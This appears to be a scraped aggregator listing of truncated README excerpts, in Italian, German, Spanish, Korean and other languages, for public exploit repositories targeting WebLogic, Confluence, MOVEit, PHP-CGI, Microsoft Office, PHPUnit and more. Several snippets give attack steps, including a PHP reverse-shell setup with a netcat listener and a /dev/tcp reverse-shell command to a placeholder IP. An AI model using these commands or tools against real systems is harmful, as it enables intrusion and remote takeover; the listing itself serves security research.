Modified-CVE-2015-3306-Exploit

Modified-CVE-2015-3306-Exploit Como usar 1. Crie um shell reverso em PHP 2. Inicie um servidor para hospedar o shell no mesmo diretório python3 -m http.server 3. Inicie um listener netcat na porta local de sua escolha, exemplo: nc -nlvp port of choice 4. Execute o exemplo de exploit fornecido...

CVE-2020-8165

Exploit en Python para CVE-2020-8165 Este es un código para explotar CVE-2020-8165 usando Python3. Este exploit funciona con rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Créditos principales Detalles originales del CV...

CVE_2020_2546

Twitter: @Hktalent3135773 1. Weblogic RCE exploit CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2. exploit GIOP + invia bind CVE-2020-2555, CVE-2019-2888, CVE-2019-2888 o altri GIOP + invia jta rmi o...

CVE-2025-27636-Practical-Lab

🛡️ CVE-2025-27636 — Praktisches Exploitation-Labor für Apache Camel 🔍 Übersicht CVE-2025-27636 ist eine kritische Remote-Codeausführung RCE -Schwachstelle in Apache Camel , insbesondere in der Komponente camel-exec. Sie beruht auf einem subtilen, aber gefährlichen Problem:...

CVE-2025-1974

README Parlare è facile, basta guardare il codice. I dettagli sono disponibili su https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Utilizzo 1. Modifica l'IP in shell.c 2. Verifica che docker sia disponibile ed esegui make shell.so. Dobbiamo compilare la .so in alpine per assicurar...

CVE-2025-56015

CVE-2025-56015 GenieACS RCE Übersicht Proof-of-Concept-Exploit für CVE-2025-56015 , eine kritische Sandbox-Escaping- und Code-Injection-Schwachstelle in GenieACS , die die Ausführung beliebigen JavaScript-Codes im Provisioning-Kontext ermöglicht. Durch Ausnutzung der...

CVE-2022-26134-cve1

CVE-2022-26134RCE Installazione root@kitploit: git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs Utilizzo di pocsuite3 Singolo URL: root@kitploit: pocsuite -r CVE-2022-26134RCE....

agent_tesla_panel_rce

agentteslapanelrce Questo modulo sfrutta la vulnerabilità di command injection nel pannello di controllo dell'Agent Tesla. Configurazione Le risorse per i test sono disponibili qui: https://github.com/mekhalleh/agentteslapanelrce/tree/master/resources Windows Per WebPanel1.7z RCE non autenticato,...

CVE-2020-15778

CVE-2020-15778 Introduzione Questa repo riproduce CVE-2020-15778. Passaggi 1. Costruisci le immagini docker per il server e il client scp root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. Avvia il server scp in un container...

marshalsec

Java Unmarshaller Security - Trasformare i tuoi dati in esecuzione di codice Se sei arrivato qui per Log4Shell/CVE-2021-44228, potresti voler leggere i vettori di sfruttamento e le versioni del runtime Java interessate: https://mbechler.github.io/2021/12/10/PSALog4ShellJNDIInjection/ Paper Sono...

CVE-2023-34362

CVE-2023-34362 POC per CVE-2023-34362 che riguarda MOVEit Transfer Analisi Tecnica Un'analisi tecnica della causa principale della vulnerabilità può essere trovata sul nostro blog: https://www.horizon3.ai/moveit-transfer-cve-2023-34362-deep-dive-and-indicators-of-compromise/ Riepilogo Questo POC...

CVE-2015-1635-POC

CVE-2015-1635-POC MS15-034 HTTP.sys 远程执行代码检测脚本（MS15-034 HTTP.sys remote execution code poc script） 代码第7行处放置检测的IP，然后运行： python CVE-2015-1635-POC.py 将检测的IP放在代码第7行，然后运行： python CVE-2015-1635-POC.py...

CVE-2024-4577-PHP-CGI-argument-injection-RCE

Iniezione di argomenti PHP CGI verso RCE CVE-2024-4577 - codice exploit La vulnerabilità CVE-2024-4577 in PHP CGI è emersa come una falla di sicurezza critica, consentendo l'esecuzione remota di codice tramite iniezione di argomenti. Presente in diverse versioni di PHP, questa vulnerabilità...

CVE-2023-33817---SQL-Injection-found-in-HotelDruid-3.0.5

CVE-2023-33817 - SQL Injection trovata in HotelDruid V3.0.5 HotelDruid v3.0.5 è vulnerabile a SQL injection. Un attaccante potrebbe eseguire comandi SQL arbitrari per recuperare dati dai database o addirittura eseguire codice in remoto sul sistema di database di destinazione. Questa è la mia...

CVE-2017-0108

Компонент Windows Graphics в Microsoft Office 2007 SP3; 2010 SP2; и Word Viewer; Skype for Business 2016; Lync 2013 SP1; Lync 2010; Live Meeting 2007; Silverlight 5; Windows Vista SP2; Windows Server 2008 SP2 и R2 SP1; и Windows 7 SP1 позволяет удалённым злоумышленникам выполнять произвольный код...

CVE-2017-0199

Toolkit di exploit CVE-2017-0199 - v4.0 Il toolkit di exploit CVE-2017-0199 - v4.0 è un pratico script Python che offre a pentester e ricercatori di sicurezza un modo rapido ed efficace per testare l'RCE di Microsoft Office. Può generare un file RTF/PPSX dannoso e consegnare alla vittima payload...

CVE-2021-40444-exp

CVE-2021-40444 PoC Generatore di docx maliziosi per sfruttare CVE-2021-40444 Esecuzione di codice remoto in Microsoft Office Word La creazione di questo script si basa su un po' di reverse engineering del campione utilizzato in-the-wild:...

CVE-2024-32002-git-rce-father-poc

Dieses Repository hat keine README-Datei...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - 임의 파일 업로드 익스플로잇 CVE-2024-56264 개요 이 저장소는 WordPress ACF City Selector 플러그인버전 = 1.14.0에서 발견된 임의 파일 업로드Arbitrary File Upload 취약점인 CVE-2024-56264 에 대한 익스플로잇을 포함하고 있습니다. 이 취약점으로 인해 공격자는 취약한 WordPress 인스턴스에 악성 PHP 파일웹 셸을 업로드하고 서버에서 임의 명령을 실행할 수 있습니다. CVE 세부 ...

CVE-2017-9841

CVE-2017-9841 Script per la scansione di massa e lo sfruttamento di CVE-2017-9841. PHPUnit è un framework di test basato su PHP. Le versioni di PHPUnit precedenti alla 4.8.28 e le versioni 5.x precedenti alla 5.6.3 presentano una vulnerabilità di sicurezza nel file Util/PHP/eval-stdin.php. Un...